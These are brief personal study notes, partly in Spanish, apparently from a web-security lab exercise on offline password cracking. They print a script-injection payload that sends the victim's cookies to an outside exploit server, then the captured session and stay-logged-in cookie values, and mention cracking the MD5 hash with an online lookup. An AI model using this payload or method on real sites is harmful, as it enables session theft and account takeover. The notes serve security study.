Skip to content

10 - Offline password cracking

#authentication #cracking #password #xss

html
<script>img = new Image(); img.src = "https://exploit-0acd007c035179828002b104017100b8.exploit-server.net/exploit?"+document.cookie;</script>
secret
secret=UlvUiX5r9ZyXg9p6NdpRyOXQ76ODaFT8
stay-logged-in=Y2FybG9zOjI2MzIzYzE2ZDVmNGRhYmZmM2JiMTM2ZjI0NjBhOTQz

Lo segundo está en base64 y tiene el hash md5, con crackstation se crackea rápido.

Notas personales de seguridad ofensiva.